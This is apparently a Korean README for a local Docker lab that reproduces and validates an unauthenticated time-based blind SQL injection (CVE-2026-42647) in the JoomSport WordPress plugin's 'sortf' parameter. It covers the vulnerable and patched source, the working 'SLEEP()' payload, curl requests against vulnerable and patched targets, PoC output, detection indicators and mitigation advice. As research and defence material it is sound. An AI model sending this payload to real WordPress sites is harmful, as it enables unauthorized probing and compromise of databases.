
sortf를 통한 인증되지 않은 시간 기반 블라인드 SQL 인젝션이 저장소는 WordPress 플러그인 JoomSport(스포츠용: 팀 & 리그, 축구, 하키 등)에 영향을 미치는 인증되지 않은 SQL 인젝션 취약점인 CVE-2026-42647을 재현하고 검증하기 위한 로컬 Docker 랩을 포함합니다.
취약한 동작은 선수 목록 정렬 기능에서 발생합니다. 일반 방문자는 SQL ORDER BY 절을 구성하는 데 사용되는 sortf 쿼리 매개변수를 제어할 수 있습니다. 취약한 버전에서는 값이 텍스트로 정리되고 백틱으로 감싸지지만, SQL 쿼리에 추가되기 전에 엄격한 허용 목록에 대해 검증되지 않습니다.
이 랩은 두 가지 JoomSport 버전을 비교합니다:
| Service | JoomSport version | Purpose | URL |
|---|---|---|---|
vuln | 5.7.6 | 취약 비교 대상 | http://localhost:8081 |
patched | 5.7.8 | 패치된 비교 대상 | http://localhost:8082 |
공개 권고는 5.7.8 이전 버전을 영향을 받는 버전으로, 5.7.8을 수정 버전으로 식별합니다. 이 랩은 5.7.6을 취약 대상으로 사용합니다. 그 이유는 이 랩을 준비할 당시 WordPress.org 플러그인 SVN 태그 목록에서 5.7.7 소스 태그를 사용할 수 없었기 때문입니다.
시연된 취약점 체인은 다음과 같습니다:```text Unauthenticated visitor → JoomSport season player list route → attacker-controlled sortf parameter → unsafe dynamic ORDER BY construction → SQL expression execution → measurable database delay in vulnerable version → patched version rejects the injected sort field and falls back to a safe allowlisted field
이 랩은 시간 기반 블라인드 SQL 인젝션으로 취약점을 검증합니다. 데이터베이스 덤프, 자격 증명 추출, 데이터 수정 또는 파괴적인 SQL 작업을 수행하지 않습니다.
이 랩은 통제된 로컬 연구, 소스 수준 이해 및 포트폴리오 시연 목적으로만 설계되었습니다.
## 검증된 사실
| 주장 | 증거 | 이 랩에서 검증하는 방법 |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| JoomSport 5.7.8 이전 버전은 인증되지 않은 SQL 인젝션에 취약한 것으로 보고되었습니다. | 공개 권고는 JoomSport `< 5.7.8` / `<= 5.7.7`이 영향을 받는 것으로 식별합니다. | 참고 자료 섹션을 검토하고 취약/패치된 서비스를 비교합니다. |
| JoomSport 5.7.8은 패치된 버전입니다. | 공개 권고 및 소스 비교에 따르면 5.7.8은 정렬 표현식을 구성하기 전에 `sortf` 값을 검증합니다. | 두 버전 모두에서 `class-jsport-playerlist.php`를 검사합니다. |
| 영향을 받는 매개변수는 `sortf`입니다. | 취약한 선수 목록 코드는 `classJsportRequest::get('sortf')`를 읽습니다. | PoC를 실행하고 주입된 `sortf` 요청을 관찰합니다. |
| 취약한 코드는 사용자 입력으로 동적 SQL 정렬 값을 구성합니다. | 취약한 버전에서 `sortf`는 `$options['ordering']`을 구성하는 데 사용됩니다. | `sportleague/classes/objects/class-jsport-playerlist.php`를 검사합니다. |
| SQL 싱크는 `ORDER BY` 절입니다. | 생성된 `$ordering` 값은 나중에 `ORDER BY`와 함께 SQL 쿼리에 추가됩니다. | `sportleague/base/wordpress/classes/class-jsport-getplayers.php`를 검사합니다. |
| 패치는 허용 목록 방식의 수정을 사용합니다. | 패치된 버전은 정렬 필드를 사용하기 전에 허용된 정적 열과 예상 동적 필드 패턴을 도입합니다. | JoomSport 5.7.6과 5.7.8 소스를 비교합니다. |
| 이 랩은 시간 기반 블라인드 SQL 인젝션을 시연합니다. | 취약한 대상은 주입된 `SLEEP()` 표현식이 사용될 때 지연되고, 패치된 대상은 지연되지 않습니다. | `python3 poc/poc.py http://localhost:8081 http://localhost:8082`를 실행합니다. |
## 가정 및 미확인 사항
이 랩은 JoomSport 5.7.6을 취약한 비교 대상으로 사용합니다. 공개된 패치 버전이 5.7.8이고, 랩을 준비할 당시 WordPress.org 플러그인 SVN 태그 목록에 5.7.7 소스 태그가 없었기 때문입니다.
이 랩은 5.7.6이 유일한 취약 버전이라고 주장하지 않습니다. 5.7.6은 취약한 동작을 패치된 5.7.8 동작과 비교하기 위한 재현 가능한 취약 기준선으로 사용됩니다.
이 랩은 선수 목록 정렬 흐름의 `sortf` 매개변수에 초점을 맞춥니다.
시연된 영향은 시간 기반 블라인드 SQL 인젝션입니다. 이 랩은 다음을 시연하지 않습니다:
* 직접적인 데이터베이스 덤프,
* 자격 증명 추출,
* 인증 우회,
* 권한 상승,
* 임의 데이터 수정,
* 원격 코드 실행,
* 지속성,
* 외부 콜백,
* 또는 랩 외부 시스템에 대한 공격.
데이터베이스 동작, 애플리케이션 구성 및 응답 차이에 따라 오류 기반 또는 부울 기반 동작이 가능할 수도 있지만, 이 랩은 이러한 기법에 의존하지 않습니다. 주요 증명은 시간 기반입니다.
## 근본 원인 요약
근본 원인은 `sortf` 요청 매개변수로부터 동적 SQL `ORDER BY` 절을 안전하지 않게 구성하는 것입니다.
취약한 코드 경로는 다음에서 시작됩니다:```text
sportleague/classes/objects/class-jsport-playerlist.php
선수 목록 로딩 로직 내부에서 JoomSport는 요청 매개변수를 읽습니다:```text sortf
그리고 이를 사용하여 다음을 구성합니다:```text
$options['ordering']
관련 취약 소스 패턴은 다음과 같습니다:```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
문제는 주로 `sortd` 매개변수가 아닙니다. `sortd` 값은 다음으로 제한됩니다:```text
ASC
DESC
문제는 sortf 매개변수입니다. 정렬에 사용되는 SQL 식별자/표현식 위치를 제어하기 때문입니다.
위험한 표현식은 다음과 같습니다:```php
"".classJsportRequest::get('sortf').""
코드는 공격자가 제어하는 입력을 MySQL 식별자 컨텍스트 안에 배치한 다음 이를 SQL 정렬(order) 조각으로 전달합니다.
코드는 다음을 적용합니다:```php
sanitize_text_field()
하지만 sanitize_text_field()는 SQL 식별자 검증이 아닙니다. 텍스트 정리를 위해 설계된 것이지, 안전하게 SQL 구문을 구성하기 위한 것이 아닙니다.
취약한 코드는 또한 사용자가 제어하는 정렬 필드를 백틱으로 감쌉니다. 그러나 공격자가 식별자 내용에 영향을 미칠 수 있는 경우 백틱은 보안 경계가 아닙니다. 공격자가 값에 백틱을 주입할 수 있다면, 의도된 식별자 컨텍스트를 벗어날 수 있습니다.
생성된 정렬 값은 나중에 플레이어 검색 쿼리로 전달되어 SQL ORDER BY 절에 추가됩니다:```text
sportleague/base/wordpress/classes/class-jsport-getplayers.php
sink 패턴은 다음과 같습니다:```php
$query .= ' ORDER BY '.($ordering);
이것은 취약한 데이터 흐름을 생성합니다:```text sortf request parameter → classJsportRequest::get('sortf') → $options['ordering'] → $ordering → ORDER BY
보안 문제는 애플리케이션이 사용자 제어 요청 매개변수를 엄격한 허용 목록(allowlist)에 대해 먼저 검증하지 않고 SQL 식별자/표현식으로 취급한다는 것입니다.
## 소스 패치 요약
관련 패치는 다음 위치에 있습니다:```text
sportleague/classes/objects/class-jsport-playerlist.php
취약한 버전에서 플레이어 목록 코드는 $options['ordering']를 요청 값에서 직접 구성합니다:```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
취약한 부분은 SQL 정렬 표현식 내에서 `classJsportRequest::get('sortf')`가 사용된다는 점입니다.
JoomSport 5.7.8은 `$options['ordering']`을 구성하기 전에 검증된 정렬 필드 변수를 도입하여 이 동작을 변경합니다.
패치된 버전은 안전한 기본값을 초기화합니다:```php
$sortFieldEsc = 'post_title';
그런 다음 허용되는 정적 정렬 열을 정의합니다:```php $sortCols = array("played", "career_minutes", "post_title");
`sortf`가 존재하면, 패치된 코드는 예상된 정적 값 중 하나와 일치하는 경우에만 이를 허용합니다:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
$sortFieldEsc = classJsportRequest::get('sortf');
}
이 패치는 또한 예상되는 동적 이벤트/통계 필드 형식을 허용합니다:```php if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
마지막 보안 관련 변경 사항은 `$options['ordering']`가 원시 `sortf` 요청 값 대신 `$sortFieldEsc`에서 빌드된다는 것입니다:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;
이것은 동적 정렬을 제거하지 않습니다. 이것은 신뢰 경계를 변경합니다.
패치 전:```text request sortf value directly controlled the ORDER BY identifier
패치 이후:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern
공격자가 다음과 같은 예상치 못한 값을 보내는 경우:```text post_title`DESC,(SLEEP(2))#
패치된 코드는 해당 값을 `$sortFieldEsc`에 할당하지 않습니다.
대신, 정렬 필드는 다음으로 대체됩니다:```text
post_title
이것이 취약한 서비스가 지연되고 패치된 서비스가 기준 타이밍에 가깝게 유지되는 이유입니다.
패치에서 얻을 수 있는 보안 교훈은 다음과 같습니다:```text Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists. Text sanitization and backtick wrapping are not sufficient for SQL identifier safety.
## 랩 아키텍처
이 랩은 Docker Compose를 통해 두 개의 격리된 WordPress 설치를 실행합니다.```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── init-wordpress.sh
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
두 WordPress 서비스는 별도의 데이터베이스와 별도의 플러그인 버전으로 실행됩니다:
기본 노출 서비스:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
설정 프로세스는 플레이어 목록 라우트를 렌더링하는 데 필요한 최소한의 JoomSport 데이터를 생성합니다:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows
취약한 서비스와 패치된 서비스는 동일한 랩 데이터 형태를 사용하므로 타이밍 동작을 공정하게 비교할 수 있습니다.
requests 패키지필요한 경우 호스트에 Python 종속성을 설치하십시오:```bash python3 -m pip install requests
## 빠른 시작
랩을 시작하세요:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
설정 컨테이너를 확인하세요:```bash docker compose logs -f setup-vuln setup-patched
예상되는 설정 완료 메시지:```text
[VULN] setup complete
[PATCHED] setup complete
컨테이너 상태 확인:```bash docker compose ps
예상 노출 서비스:```text
http://localhost:8081
http://localhost:8082
취약한 대상에 PoC를 실행하세요:```bash python3 poc/poc.py http://localhost:8081
패치된 대상에 대해 PoC를 실행하세요:```bash
python3 poc/poc.py http://localhost:8082
한 번의 명령으로 두 대상 모두에 대해 PoC를 실행하십시오:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082
더 안정적인 타이밍 통계를 얻으려면 라운드 수를 늘리십시오:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
요청된 대기 시간을 조정할 수도 있습니다:```bash python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5
## PoC 사용법
PoC는 각 대상을 독립적으로 확인합니다.
더 이상 별도의 `--vuln-url` 또는 `--patched-url` 옵션이 필요하지 않습니다. 대신 하나 이상의 대상 URL을 위치 인수로 전달하세요:```bash
python3 poc/poc.py <target_url> [target_url...]
예제:```bash python3 poc/poc.py http://localhost:8081 python3 poc/poc.py http://localhost:8082 python3 poc/poc.py http://localhost:8081 http://localhost:8082
대상 URL이 제공되지 않으면 스크립트는 하나 이상의 로컬 대상 URL을 대화식으로 입력하라는 메시지를 표시합니다.
지원되는 옵션:```text
--season-id Seeded JoomSport season post ID. Default: 4
--rounds Number of requests per baseline/injected series. Default: 3
--sleep SLEEP() seconds used in the timing payload. Default: 2
PoC는 의도적으로 로컬 범위입니다. 다음과 같은 localhost 스타일 대상을 허용합니다:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
PoC는 기본적으로 비로컬 대상을 거부합니다.
## PoC가 결정하는 방식
각 대상에 대해 PoC는 두 가지 타이밍 시리즈를 수행합니다:```text
[1/2] Baseline timing
[2/2] Injected timing
기준 요청은 일반 정렬 필드를 사용합니다:```text sortf=post_title
주입된 요청은 `sortf` 매개변수에서 로컬 전용 타이밍 페이로드를 사용합니다:```text
sortf=post_title`DESC,(SLEEP(2))#
PoC는 다음을 계산합니다:```text delta = injected median - baseline median
그런 다음 대상(target)을 분류합니다:
| 판정(verdict) | 의미 |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | 주입된 요청(injected request)이 기준(baseline)보다 상당히 느립니다. |
| `PATCHED-LIKE` | 주입된 요청(injected request)이 기준(baseline)과 거의 비슷합니다. |
| `UNREACHABLE` | 대상(target)에 도달할 수 없습니다. |
| `INCONCLUSIVE` | 일부 타이밍 데이터가 누락되거나 불완전합니다. |
기본 결정 규칙:```text
injected median - baseline median >= 60% of requested SLEEP()
기본 --sleep 2의 경우, 임계값은 다음과 같습니다:```text
1.200s median delta
이것은 주입된 요청이 자체 기준선보다 명확히 느릴 때만 대상이 `VULNERABLE-LIKE`로 보고된다는 의미입니다.
도달할 수 없거나 결론이 나지 않은 대상은 패치된 것으로 계산되지 않습니다.
## curl을 사용한 수동 HTTP 재현
Python PoC를 사용하지 않고도 수동으로 검증을 재현할 수 있습니다.
취약한 기준선 요청:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
취약한 주입 요청:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
패치된 베이스라인 요청:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
패치된 주입 요청:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
예상 비교:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched -> injected request stays near baseline timing
명령:```bash python3 poc/poc.py http://localhost:8081
예상 취약 신호:```text
CVE-2026-42647 JoomSport local timing validation
Scope : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic : baseline timing vs injected timing per target
Targets : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta
================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#
[1/2] Baseline timing
run 01: status=200 time=0.092s bytes=75333
run 02: status=200 time=0.044s bytes=75333
run 03: status=200 time=0.046s bytes=75333
summary median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
summary status=200x3 bytes=75333
[2/2] Injected timing
run 01: status=200 time=6.050s bytes=75321
run 02: status=200 time=6.058s bytes=75321
run 03: status=200 time=6.095s bytes=75321
summary median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
summary status=200x3 bytes=75321
Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta : 6.011s
Ratio : 130.8x
Threshold : 1.200s
Verdict : VULNERABLE-LIKE
Interpretation : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.
VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 0 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
### 패치된 대상
명령:```bash
python3 poc/poc.py http://localhost:8082
Baseline median : around normal baseline timing Injected median : around normal baseline timing Delta : below threshold Ratio : near 1.0x Threshold : 1.200s Verdict : PATCHED-LIKE
Interpretation : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior.
### 다중 대상
명령어:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082
예상 결과:```text VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 1 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
### 도달 불가능한 대상
대상이 실행 중이 아닌 경우, PoC는 `PATCHED-LIKE`가 아닌 `UNREACHABLE`을 보고해야 합니다.
예시:```bash
python3 poc/poc.py http://localhost:8083
예상 결정:```text Verdict : UNREACHABLE
Interpretation : the target could not be reached. No vulnerability decision was made for this target.
도달할 수 없는 대상은 패치된 것으로 간주되지 않습니다.
## PoC 작동 방식
PoC는 시드된 시즌 게시물에 대해 JoomSport 선수 목록 경로를 탐색합니다.
대상 경로는 다음에 해당합니다:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC
기준 요청은 다음을 사용합니다:```text sortf=post_title
This should produce normal player list sorting.
The injected request uses:```text
sortf=post_title`DESC,(SLEEP(2))#
취약한 코드는 sortf를 백틱으로 감싸고 정렬 방향을 추가합니다. 주입된 값은 의도된 식별자 컨텍스트를 벗어나 ORDER BY 절에 타이밍 표현식을 도입하도록 설계되었습니다.
개념적으로, 취약한 SQL 조각은 다음과 유사해집니다:```sql
ORDER BY post_title DESC, (SLEEP(2))
`#` 주석 마커는 후행 백틱과 방향이 주입된 표현식에 간섭하는 것을 방지합니다.
이것은 스택 쿼리 페이로드가 아닙니다. 다음을 주입하지 않습니다:```sql
; SELECT SLEEP(2);
대신 기존 ORDER BY 컨텍스트 내부에 SQL 표현식을 주입합니다.
패치된 버전은 sortf 값이 허용된 정렬 필드 목록과 대조되어 예상치 못한 값일 경우 post_title로 대체되므로 주입된 표현식을 실행하지 않습니다.
이 랩은 JoomSport 플레이어 목록의 sortf 매개변수에서 인증되지 않은 시간 기반 블라인드 SQL 인젝션을 시연합니다.
취약한 버전은 ORDER BY 절을 통해 주입된 SQL 타이밍 표현식을 실행하여 뚜렷한 응답 지연을 발생시킵니다. 패치된 버전은 주입된 정렬 필드가 거부되어 안전한 허용 목록 값으로 대체되므로 지연이 발생하지 않습니다.
이 랩은 시간 기반 SQL 실행만 입증합니다. 데이터 추출, 데이터 수정, 인증 우회, 권한 상승 또는 원격 코드 실행은 시연하지 않습니다.
잠재적 지표로는 비정상적인 sortf 값을 가진 JoomSport 플레이어 목록 경로에 대한 직접 요청이 포함됩니다.
의심스러운 요청 패턴 예시:```text GET /?post_type=joomsport_season&p=&action=playerlist&sortf=<unexpected_value>&sortd=ASC
의심스러운 `sortf` 특성:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings
로컬 랩 요청 예시:```text sortf=post_title`DESC,(SLEEP(2))#
예상되는 취약 신호:```text
HTTP 200 response with significant timing delay
예상되는 패치된 신호:```text HTTP 200 response without significant timing delay
잠재적 프로덕션 모니터링 아이디어:
* 웹 액세스 로그에서 비정상적인 `sortf` 값을 검토하십시오.
* 정렬 매개변수 내 SQL 키워드나 주석 마커에 대해 경고를 설정하십시오.
* 매개변수가 약간 변경된 JoomSport 선수 목록 라우트에 대한 반복 요청을 모니터링하십시오.
* JoomSport 선수 목록 테이블과 관련된 느린 데이터베이스 쿼리를 모니터링하십시오.
* 느린 요청을 공개된 인증되지 않은 트래픽과 연관 지어 분석하십시오.
* JoomSport가 설치되어 있는지, 버전이 5.7.8보다 오래된 것인지 확인하십시오.
## 완화 및 패치 참고 사항
JoomSport를 5.7.8 이상으로 업그레이드하십시오.
수정된 버전은 `sortf` 매개변수를 예상 정렬 필드 및 동적 필드 패턴으로 제한합니다. 예상치 못한 값은 안전한 기본 정렬 필드로 대체됩니다.
애플리케이션 수준 완화 지침:
* JoomSport 플러그인을 업그레이드하십시오.
* 공개 WordPress 사이트에 오래된 플러그인 버전을 노출하지 마십시오.
* 웹 로그에서 의심스러운 `sortf` 매개변수를 검토하십시오.
* 즉시 업그레이드가 불가능한 경우에만 임시 완화 조치로 영향을 받는 기능을 비활성화하거나 제한하십시오.
* 패치를 대체하는 것이 아니라 임시 계층으로 Web Application Firewall 규칙을 사용하십시오.
* 동적 SQL 식별자는 일반 값과 다르게 취급하십시오: 열 이름, 테이블 이름, 정렬 방향 및 유사한 SQL 구문 구성 요소에 대해 허용 목록(allowlist)을 사용하십시오.
가장 중요한 통제 수단은 허용 목록입니다. 이스케이프만으로는 동적 SQL 식별자를 완전히 해결할 수 없습니다.
## 유용한 검증 명령어
실행 중인 컨테이너 확인:```bash
docker compose ps
설정 로그 보기:```bash docker compose logs -f setup-vuln setup-patched
WordPress 서비스 확인:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082
취약한 서비스에 대해 PoC를 실행하십시오:```bash python3 poc/poc.py http://localhost:8081
패치된 서비스에 PoC를 실행하세요:```bash
python3 poc/poc.py http://localhost:8082
두 서비스 모두에 대해 PoC를 실행하세요:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082
더 많은 라운드로 PoC를 실행하세요:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
증거 저장:```bash mkdir -p evidence
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
| tee evidence/timing-validation.txt
docker compose ps
| tee evidence/docker-compose-ps.txt
docker compose logs vuln patched setup-vuln setup-patched \
evidence/docker-compose-logs.txt
WordPress 내부의 플러그인 버전 확인:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
취약한 소스 검사:```bash
docker compose exec -T vuln sh -lc
"grep -R "sortf\|ordering" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
패치된 소스 검사:```bash
docker compose exec -T patched sh -lc \
"grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
SQL sink 검사:```bash
docker compose exec -T vuln sh -lc
"grep -R "ORDER BY" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php"
## 정리
컨테이너와 네트워크를 중지하고 제거합니다:```bash
docker compose down --remove-orphans
컨테이너, 네트워크 및 볼륨을 제거합니다:```bash docker compose down -v --remove-orphans
생성된 경우 증거 파일을 제거하십시오:```bash
rm -rf evidence/
이 랩은 로컬 보안 연구 및 통제된 데모 전용입니다.
소유하지 않거나 명시적 테스트 권한이 없는 시스템에 대해 PoC 또는 페이로드를 실행하지 마십시오.
이 랩에서 실제 자격 증명, 프로덕션 비밀, 또는 외부 대상을 사용하지 마십시오.
PoC는 의도적으로 다음과 같은 로컬 Docker 서비스로 범위가 제한됩니다:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
이 PoC에는 데이터베이스 덤프, 자격 증명 탈취, 데이터 변조, 지속성, 측면 이동 또는 외부 콜백을 위한 페이로드가 포함되어 있지 않습니다.
목표는 통제된 환경에서 하나의 특정 기술적 조건을 시연하는 것입니다:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version
Wordfence 권고: JoomSport <= 5.7.7 - sortf 매개변수를 통한 인증되지 않은 SQL 인젝션
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter
Wordfence 권고: JoomSport - for Sports: Team & League, Football, Hockey & more <= 5.7.7 - 인증되지 않은 SQL 인젝션 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection
WPScan 플러그인 취약점 데이터베이스: JoomSport https://wpscan.com/plugin/joomsport-sports-league-results-management/
WordPress.org 플러그인: JoomSport - for Sports: Team & League, Football, Hockey & more https://wordpress.org/plugins/joomsport-sports-league-results-management/
WordPress.org 플러그인 SVN https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/
WordPress.org 플러그인 SVN 태그 https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/
OWASP 웹 보안 테스트 가이드: SQL 인젝션 테스트 https://owasp.org/www-project-web-security-testing-guide/
OWASP 치트 시트 시리즈: SQL 인젝션 방지 https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
| 서비스 | 구성 요소 | 버전 / 역할 |
|---|
vuln | WordPress + JoomSport | JoomSport 5.7.6 |
patched | WordPress + JoomSport | JoomSport 5.7.8 |
db-vuln | MariaDB | 취약한 대상용 데이터베이스 |
db-patched | MariaDB | 패치된 대상용 데이터베이스 |
setup-vuln | WP-CLI 초기화 서비스 | WordPress를 설치하고 취약한 대상에 데이터를 시드 |
setup-patched | WP-CLI 초기화 서비스 | WordPress를 설치하고 패치된 대상에 데이터를 시드 |